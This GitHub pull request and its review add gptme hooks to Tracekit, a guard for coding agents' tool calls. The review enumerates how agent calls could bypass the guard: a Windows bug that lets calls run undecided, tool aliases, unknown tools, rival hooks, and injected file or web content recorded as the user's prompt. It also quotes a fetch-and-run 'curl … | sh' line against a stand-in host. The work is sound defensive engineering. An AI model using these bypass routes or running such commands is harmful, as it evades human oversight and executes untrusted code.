Skip to content

Add gptme hooks for Tracekit - #778

Merged
LoopGlitch26 merged 7 commits into
Cygnux-Labs:mainfrom
souravC01:agent/issue-574
Nov 13, 2026
Merged

LoopGlitch26 merged 7 commits into
Cygnux-Labs:mainfrom
souravC01:agent/issue-574

Conversation

@souravC01

Copy link
Copy Markdown
Contributor

What and why

Closes #574.

I added gptme support for v1 and v2. The generated plugin starts Tracekit in a separate Python process, so gptme can run in its own environment and still use the Python that tracekit init picked for the hook. TK-A061 holds IPython cells for approval. TK-F009 and TK-F015 cover writes to gptme settings.

I started by recording real hooks in gptme v0.36.0. I've included the redacted Markdown and native calls in gptme.json. Markdown didn't set call_id. Native calls had an ID. MCP tools came through as server.tool.

Shell, save, append, patch, IPython, and MCP reached TOOL_CONFIRM. Read and browser bypass it, so v2 records their output as an untrusted observation. Even skipped calls fired the post hook. The bridge checks its own decision before recording a result.

The edit probe made the choice clear for me. I edited a save call and gptme wrote the edited text, while the post hook still carried the original ToolUse. That's why I return confirm() after Tracekit allows the call. It skips gptme's later confirmation hooks, including its editor.

I needed a configured plugin path. A project allowlist could exclude my plugin unless the user or project explicitly enabled it. I could also read the typed prompt from the session log at TURN_PRE.

How I ran it as a user

I ran gptme v0.36.0 in WSL2 with Markdown tools and a scripted model that sent shell calls to a real Tracekit v2 dev signer. I installed the plugin with tracekit init --dev --v2 --agent gptme, then ran tracekit doctor to confirm it registered.

I tried the denied shell call twice, with and without -y. Both times the model got the TK-D001 reason. blocked.txt didn't appear. With TRACEKIT_APPROVAL_WAIT=180, I approved a held write to gptme.local.toml from another terminal using tracekit approvals approve <id> and checked that the command ran once. tracekit last --out tracekit-gptme.tkb exported and verified all three runs.

Checklist

  • I ran Python lint, the package build and validation, TypeScript tests, and the full Python suite on Linux. On Python 3.12, pytest reported 5,061 passes, 281 skips, and 10 expected failures. It also verified 476 v2 bundles.
  • I ran the full offline eval suite in WSL2. The regenerated policy results matched the committed results under the CI comparison rules.
  • I've added regression tests and documented the plugin's limits in the user docs and laptop threat model.
  • All four commits have DCO sign-offs.

The plugin uses the existing signer and verifier paths for key custody, sequence numbers, approval identity, and evidence.

Signed-off-by: Sourav Chandhok <souravchandhok01@gmail.com>
Signed-off-by: sourav chandhok <souravchandhok01@gmail.com>
Signed-off-by: sourav chandhok <souravchandhok01@gmail.com>
Signed-off-by: sourav chandhok <souravchandhok01@gmail.com>
…gent/issue-574

Signed-off-by: sourav chandhok <114119117+souravC01@users.noreply.github.com>

# Conflicts:
#	README.md
#	docs/coding-agents.md
#	eval/results/e17_policy_corpus.json
#	eval/results/e21_policy_robustness.json
#	eval/results/e21_robustness.json
#	tests/test_agent_hooks.py
#	tests/test_harness_hooks_v2.py
#	tests/test_install_files.py
#	tracekit/agent_hooks.py
#	tracekit/doctor.py
#	tracekit/integrations/harness_hooks.py
#	tracekit/policy2/packs/coding.yaml

@LoopGlitch26 LoopGlitch26 left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Checked against gptme v0.36.0's source (tag a96a205) and main. #574 backs this, and the recordings answer most of its step-1 questions. The asks, most important first. Line numbers are at 4c10cf6.

  1. On Windows a dev hook lets every call run undecided. tracekit/agent_hooks.py:1173 builds the command with _dev_hook_argv(module, "entry", ("gptme",)), and the plugin appends the event (tracekit/_gptme_plugin.py:29). On Windows the -c form writes entry('gptme') into the code and ignores any argument after it. An editable or --user install gets this form, so the event never arrives. The payload has no hook_event_name (_gptme_plugin.py:45-49), so normalise returns None, the hook exits 0 and _confirm returns confirm(). I checked the shared path on main: harness_hooks.run("devin", payload, event=None) exits 0, while event="PreToolUse" blocks. Done: each command carries its event (one command per event, as OpenCode's plugin does) or the payload carries it, and a test builds the command the Windows way and shows a denied call is skipped.

  2. Send the tool name gptme runs. _payload sends call.tool as written (_gptme_plugin.py:48). In the XML tool format the name is the tag, and gptme's get_tool also matches block types, so <py>…</py> runs IPython (base.py L1405, tools/init.py L1025). The hook sees py, an unknown tool. On main's dev.yaml that call is flagged and runs, and TK-A061 doesn't hold it. Done: the plugin sends get_tool(call.tool).name when gptme has the tool, with a test for py.

  3. Tools that ask for confirmation but pass through as unknown tools (tracekit/agent_hooks.py:287). In 0.36.0 these are on by default: patch_many (always), tmux (when tmux is installed) and morph (with an OpenRouter key). mcp load starts an MCP server, and hashline_edit asks when enabled. On main's dev.yaml:

    • a markdown tmux call new-session 'curl -s https://x.example/i.sh | sh' is flagged and runs, while the same line through shell is denied (TK-D002);
    • patch_many on ~/.config/gptme/plugins/tracekit/hooks/bridge.py is flagged and runs, so an agent can rewrite Tracekit's own plugin without the TK-F009 hold;
    • morph on .claude/settings.json is flagged and runs.

    Done: tmux is decided as Bash on the command each new-session and send-keys runs (as Codex's write_stdin is). patch_many is decided as Edit on every path (markdown args, === PATH: … === headers, native patches[].path). morph is decided as Edit on path. mcp load is held. Each has a recorded case.

  4. Name the tools that never ask in the limits row (docs/limits.md:153). Besides read and browser:

    • gh is on whenever gh is installed. It passes any gh command to the CLI and merges PRs itself, with no confirmation (gh.py L545, L619). So gh pr merge or gh api -X DELETE … isn't decided, though the same command through shell is.
    • convert writes its output_path.
    • gptme runs the repository's pre-commit hooks itself after edits when a .pre-commit-config.yaml exists (precommit.py L73).

    v1 records none of these. Done: the row names them and says v1 records nothing. Its what-to-do gives a gptme -t tool list that leaves out gh and convert.

  5. Other hooks can answer before Tracekit. gptme takes the first TOOL_CONFIRM answer that isn't None, ordered by priority and then by name, both descending. A hook registered under an existing name replaces the earlier one (confirm.py L238, registry.py L149). So any of these decides instead of Tracekit:

    • a plugin above 1000;
    • a plugin at 1000 whose name sorts after tracekit.confirm;
    • a plugin whose hook is named tracekit.confirm.

    A project's gptme.toml can add plugin paths, and entry-point plugins load from gptme's environment. Such a call reaches _post with no decision, and v2 records it as an untrusted observation (_gptme_plugin.py:93-97), the same as a read. Done:

    • Tracekit's hook registers above any priority gptme's docs use;
    • a call with no Tracekit decision is recorded under a source of its own that says it ran undecided;
    • a limits row covers the override;
    • a row of its own says what Tracekit's allow skips: the editor, and gptme's guardrail under GPTME_GUARDRAILS=enforce. Today that is inside the IPython row (docs/limits.md:155).
  6. The prompt is recorded as the person's (_gptme_plugin.py:57-63). TURN_PRE fires after include_paths. That step appends the contents of @path files and, in a non-interactive run, of every URL in the prompt (context.py L798). Piped stdin is folded into the first prompt (cli/main.py L1173). All of it is sent as UserPromptSubmit, recorded as trusted and read for live constraints. So a file the agent wrote earlier, or a fetched page, is recorded as typed by the person. Qwen Code's hook reads submitted_prompt, taken before @file expansion, for this reason (agent_hooks.normalise). Done:

    • only typed text is recorded as trusted, and the whole turn goes as untrusted when the plugin can't separate it;
    • a test uses a recorded turn with an @file;
    • a limits row like Factory Droid's.
  7. Run the recordings through check("gptme"). In tests/data/harness/gptme.json each case's payload and request.args are made up and don't match the code. hook_event_name: "tool.confirm" is an event normalise ignores. "shell allowed in markdown format" expects {content, args, command}, but _gptme_tool sends {command}. No test reads those fields. test_gptme_recorded_confirmations_reach_the_signer (tests/test_harness_hooks_v2.py:172) checks only the tool name (MCP's is hard-coded) and skips the Windows samples. Done: as in cline.json, each case's payload is what the plugin sends for a recorded ToolUse in each format, and request is the exact decide request (tool, args, id). self.check("gptme") runs them. The raw events can stay beside them.

  8. Init with an existing [plugins] table prints only the paths line (tracekit/agent_hooks.py:1210). With the test's own config, enabled = ["other"], adding that line still leaves Tracekit out. Done: init also prints the enabled line when the user's list isn't empty and lacks tracekit, and the test checks it. Printing instead of merging carries the lean: comment the issue asked for.

  9. Doctor's probe can run a project's file (tracekit/doctor.py:272-290). shutil.which("gptme") follows relative PATH entries. In a cloned repository with . on PATH, doctor would run that repository's python, but docs/doctor.md says doctor runs none of a project's code. When no Python sits next to the launcher, doctor falls back to its own sys.executable. That Python usually has no gptme, so doctor reports that gptme failed to load. Done: doctor probes only a launcher at an absolute path outside the working directory. Otherwise the row says doctor couldn't find gptme's Python.

  10. Merge main. The branch conflicts with main in 12 files since Cline (#732) landed, so GitHub hasn't run CI on this head. After the merge:

    • the README counts follow tests/test_readme.py: 36 and "another of the 14", counting Cline;
    • coding.yaml moves above main's 2026.11-v2-81 and the eval results are regenerated;
    • TK-A061 is also used by open #663, so one of the two renumbers;
    • gptme's settings paths join the harness-settings row in docs/limits.md (the TK-F009 one);
    • the gptme column in docs/coding-agents.md says that other tools pass through under their own names.
  11. --project and system mode. config_path ignores --project for gptme, so init --project --agent gptme writes the user's config. System mode (init --v2 --user AGENT --agent gptme) writes the plugin into the agent user's own ~/.config/gptme, and doctor skips it there. Done: init refuses both for gptme, or the docs say what each does and a test covers it.

The README.md edits (the badge count, the list and "another of the N") need the maintainer's OK.

@LoopGlitch26

Copy link
Copy Markdown
Member

A correction to item 10 of the review above. You merged main in 7b74741 while I was writing it. That commit already has the README counts (36 and "another of the 14"), the pack version (2026.11-v2-82) and the regenerated eval results. The rest of item 10 still applies: TK-A061 is also used by #663, and the harness-settings row and the coding-agents column still need updating. Items 1-9 and 11 still apply too, since the merge didn't change the gptme files. The line numbers in the review are from 4c10cf6. I've approved CI for 7b74741.

Signed-off-by: sourav chandhok <114119117+souravC01@users.noreply.github.com>
@souravC01

Copy link
Copy Markdown
Contributor Author

I pushed the review fixes in 178fa89. In WSL, 53 tests passed, all three policy evals matched, and the live gptme checks blocked sudo both with and without -y. Both runs produced verified signed bundles.

Could you approve the new workflow runs and take another look when you have a chance?

@LoopGlitch26

Copy link
Copy Markdown
Member

Re-checked at 178fa89 against gptme v0.36.0 (tag a96a205) and main. Line numbers are at 178fa89.

Items 1 to 9 and 11 are done. I also ran the plugin in a real gptme 0.36.0 session through tracekit init --dev --v2 --agent gptme. tracekit.confirm registered at 10000. A shell call ran, sudo was denied (TK-D001), writes to .claude/settings.json and gptme.toml were held (TK-F009) and not written, and patch_many was decided on its resolved path and applied. Compared with main, every pack and the v1 default only go from allow or flag to ask. No rule or pack is loosened.

What's left. Each is small, and we can make them on the branch if you'd rather:

  1. CI is red on all five test jobs (run):

    • test_broken_input_never_blocks (tests/test_agent_hooks.py:618) still expects exit 0 from every harness on a payload that isn't JSON. gptme now blocks it on purpose (agent_hooks.py:1991), which is right. Done: the test expects 2 for gptme.
    • On Python 3.9 and 3.10 (no tomllib), _gptme_config sets the enabled hint unconditionally (agent_hooks.py:1436). It then prints on every init once [plugins] exists, even with no enabled list, so test_init_dev_v2_replaces_v1_and_uninstall_removes_it fails there. Done: on those versions print the hint only when the [plugins] text has an enabled key.
    • On Windows, test_gptme_doctor_uses_only_an_external_launcher_and_its_python (tests/test_agent_hooks.py:906) compares against the temp path's 8.3 short name (RUNNER~1), while _gptme_python returns the realpath. Done: compare with os.path.realpath(python).
  2. Rule ids and pack version (item 10): leave them as they are. Several open PRs change the coding pack at once (Policy: raw Docker or Podman socket calls and cgroup release_agent writes are held (TK-A063 to TK-A066) (carries #731) #780 also uses TK-A063 to TK-A066, and Coding agents: Cursor's StrReplace, ApplyPatch and EditNotebook are decided as the edits they are #767 uses 2026.11-v2-83). They'll land together in one batch, where we renumber, settle the version and re-record the evals once. Your commits stay as they are, and this PR shows as merged.

  3. The new holds don't reach the person. gptme turns any skip from ipython or tmux into its fixed "Execution declined by user" (python.py L675, tmux.py L669). mcp load uses the yes/no confirm() and prints "Cancelled" (mcp.py L150). The chat loop then returns to the prompt as if the person said no (chat.py L772). So the reason _confirm returns (_gptme_plugin.py:105-106) is dropped: the approval id and the commands that answer it are never shown. That holds for exactly the three holds this PR adds (TK-A063, TK-A064, TK-A065). In the 0.36.0 run, a py block came back as "Execution declined by user" and mcp load probe as "Cancelled". Done: _confirm also logs the reason at warning level when the hook blocks, as _record does, so it shows in gptme's terminal. Add a test.

  4. v1 holds less than the docs suggest. policy/default.yaml:83-94 holds tmux pane input and MCP loads, but v1 lets every IPython cell run (ipython is allowed). v1 also doesn't flag a write to ~/.config/gptme/, gptme.toml or Tracekit's own plugins/tracekit/hooks/bridge.py, while a .claude/ write is flagged (TK-F009). docs/coding-agents.md:159-160 speaks only of v2. Done: either add the IPython hold to default.yaml beside TK-A064 and TK-A065, or add a sentence to the limits row saying v1 runs IPython cells and gptme config writes without a hold.

  5. Background shell jobs. A native shell call with background: true starts a background job, but _gptme_tool keeps only command (agent_hooks.py:367-376). The call is decided and recorded as a foreground command. TK-F008, which flags a background spawn in v1 and v2, doesn't fire, and neither findings' background check nor the receipt rule for background calls sees it. Done: map a true background (gptme also takes "1", "true", "yes", "on") to run_in_background: true, with a recorded case.

Signed-off-by: sourav chandhok <114119117+souravC01@users.noreply.github.com>
@souravC01

Copy link
Copy Markdown
Contributor Author

Thanks for the follow-up review. I pushed 6a9f1da to address the three CI failures, show approval instructions in gptme’s terminal, and preserve the background flag on native shell calls. I also documented the v1 approval limits. The 20 targeted tests passed locally on Python 3.9, 3.10, and 3.12.

Could you approve the new workflow run when you get a chance?

LoopGlitch26 added a commit to Cygnux-Labs/tracekit-skills that referenced this pull request Nov 13, 2026
Tracekit's init takes --agent gptme (Cygnux-Labs/Tracekit#778), --agent
openhands (Cygnux-Labs/Tracekit#662) and --agent copilot (Cygnux-Labs/Tracekit#782), which land
with cline and codebuddy in its first policy merge train: the skill names all
five among the agents it sets up.

Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>
@LoopGlitch26

Copy link
Copy Markdown
Member

Checked 6a9f1da. All of it is in:

  • the broken-input test expects the block for gptme;
  • the enabled hint shows only when the key exists on 3.9/3.10;
  • the Windows doctor test compares real paths;
  • _confirm logs the hold's reason at warning level, so the person sees it;
  • background jobs are mapped with gptme's truth values;
  • a v1 limits row.

CI is approved and running. This lands with the other policy PRs in one batch (rule ids and the pack version are settled there). Your commits stay as they are, and this PR will show as merged.

@LoopGlitch26

Copy link
Copy Markdown
Member

This lands in #799 (a merge train of the policy PRs), which renumbers rule ids and re-records the evals once; your commits stay as they are and this PR will show as merged.

LoopGlitch26 added a commit to Cygnux-Labs/tracekit-skills that referenced this pull request Nov 13, 2026
* tracekit-setup: the cline and codebuddy agents

Tracekit's init takes --agent cline (Cygnux-Labs/Tracekit#732) and --agent
codebuddy (Cygnux-Labs/Tracekit#757): the skill names both among the agents
it sets up, so it no longer tells the operator they aren't supported.

Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>

* tracekit-setup: the gptme, openhands and copilot agents

Tracekit's init takes --agent gptme (Cygnux-Labs/Tracekit#778), --agent
openhands (Cygnux-Labs/Tracekit#662) and --agent copilot (Cygnux-Labs/Tracekit#782), which land
with cline and codebuddy in its first policy merge train: the skill names all
five among the agents it sets up.

Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>

---------

Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>
@LoopGlitch26
LoopGlitch26 merged commit 3db4b7e into Cygnux-Labs:main Nov 13, 2026
34 checks passed
@LoopGlitch26

Copy link
Copy Markdown
Member

Merged in #799, the batch that landed the policy PRs together. Tracekit now guards gptme through its confirm hook: shell, IPython, tmux, patches and MCP loads are decided before they run, and a hold now shows its reason in gptme's terminal. It ships in the next release. Thank you.

If you would like another one close to this: hooks for another agent, #698 (Open Interpreter) or #720 (jcode). Both are unclaimed, and the gptme work is the closest model for either.

A request: if you use a coding agent (Claude Code, Codex, Cursor, Gemini CLI or OpenCode), would you run Tracekit on it for a week, on your own projects?

pip install -U tracekit-ai
tracekit audit --since 7d   # read-only: what it would have held last week
tracekit init --dev --v2    # then record and guard from now on

After a week, tracekit report --share prints counts only (no commands, paths or content). Post it with the field-report form (https://github.com/Cygnux-Labs/Tracekit/issues/new?template=field-report.yml); that's all we need.

Three issues stay open to anyone, any time (https://github.com/Cygnux-Labs/Tracekit/issues?q=is%3Aissue%20is%3Aopen%20label%3A%22open%20to%20many%22): a field report of what Tracekit would have held in your last week of agent work, a harmful tool call the packs let through, or a harmless call they hold by mistake. Each is a one-file PR or a pasted report.

tylrcc pushed a commit to tylrcc/Tracekit that referenced this pull request Nov 13, 2026
…elease_agent writes) into the policy train

Conflicts: docs/policy-v2.md's ask row (Cygnux-Labs#780's TK-A063 to TK-A066 and
Cygnux-Labs#787's TK-A067/TK-A068: kept both); tests/data/policy shell corpora
(Cygnux-Labs#783's and Cygnux-Labs#780's new cases: kept both); README, docs/evaluation.md and
docs/limits.md E17/E21 counts, coding.yaml's version and the E17/E21
results (kept this side's; the settle commit re-records them and sets the
counts). Cygnux-Labs#780's TK-A063 to TK-A065 now share ids with Cygnux-Labs#778's: the settle
commit renumbers them.

Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>
tylrcc pushed a commit to tylrcc/Tracekit that referenced this pull request Nov 13, 2026
…K-A061) into the policy train

Cygnux-Labs#781 carries Cygnux-Labs#780's head, merged above. Conflicts: docs/policy-v2.md
(Cygnux-Labs#781's TK-A061 row text and Cygnux-Labs#778's gptme row: kept both); README,
docs/evaluation.md and docs/limits.md E17/E21 counts and the blind-pool
table (kept this side's, which has main's four pools), coding.yaml's
version and the E17/E21 results (kept this side's; the settle commit
re-records them and sets the counts).

Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>
tylrcc pushed a commit to tylrcc/Tracekit that referenced this pull request Nov 13, 2026
Conflicts, all kept both sides (gptme from Cygnux-Labs#778, OpenHands from Cygnux-Labs#662):
AGENT_NAMES, tool(), normalise()'s Claude Code payload list, harness_hooks'
docstring and said_since list; coding.yaml's harness_config patterns
(TK-F009, TK-F015: Cygnux-Labs#778's gptme paths and Cygnux-Labs#662's .openhands); the
docs/coding-agents.md section and table (a gptme and an OpenHands column).
README's --agent line, coding.yaml's version and the E17/E21 results: kept
this side's (the settle commit sets them).

Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>
tylrcc pushed a commit to tylrcc/Tracekit that referenced this pull request Nov 13, 2026
…e policy train

Conflict: docs/policy-v2.md's "can't inspect" row (Cygnux-Labs#778's gptme rules
and main's laptop-default wording, with Cygnux-Labs#792's "whose arguments are over
64 KiB as JSON" and `oversize: ask`: kept both).

Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>
tylrcc pushed a commit to tylrcc/Tracekit that referenced this pull request Nov 13, 2026
Rule ids: Cygnux-Labs#780's TK-A063 to TK-A066 become TK-A071 to TK-A074, and Cygnux-Labs#788's
TK-A067 to TK-A070 become TK-A075 to TK-A078 (Cygnux-Labs#778 keeps TK-A063 to
TK-A065 and Cygnux-Labs#787 TK-A067 and TK-A068; TK-A066, TK-A069 and TK-A070 stay
unused, so no id names two rules across the members), in the coding
pack, its tests and docs.

Packs: coding 2026.11-v2-82, strict 2026.11-strict-11 and dev
2026.11-dev-5, one step above main's each. dev maps Claude Code's
Workflow to `harness` (TK-A062 held it as an unmapped tool given a
script), with a benign test.

Harness lists: gptme, OpenHands, Copilot CLI, CodeBuddy Code and Cline
in AGENTS.md, README (badge 39, the --agent list, "another of the 17"),
docs/coding-agents.md's init lines, docs/doctor.md, docs/integrations.md
and docs/support.md; gptme's paths in TK-F009's comment.

Docs: a limits row for Cygnux-Labs#788's known gaps; two bare | in Cygnux-Labs#781's limits
row escaped. The plugin's SKILL.md is tracekit-skills 4bda57a.

Evals re-recorded once: E17 (901 harmful stopped, 1 false alarm in 944),
E21 policy robustness (held-out 279 / 420 default, 305 / 420 strict;
latency rows kept as main's) and E21 robustness (901 originals and
2,701 rewrites contained).

Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Coding agents: a plugin for gptme

2 participants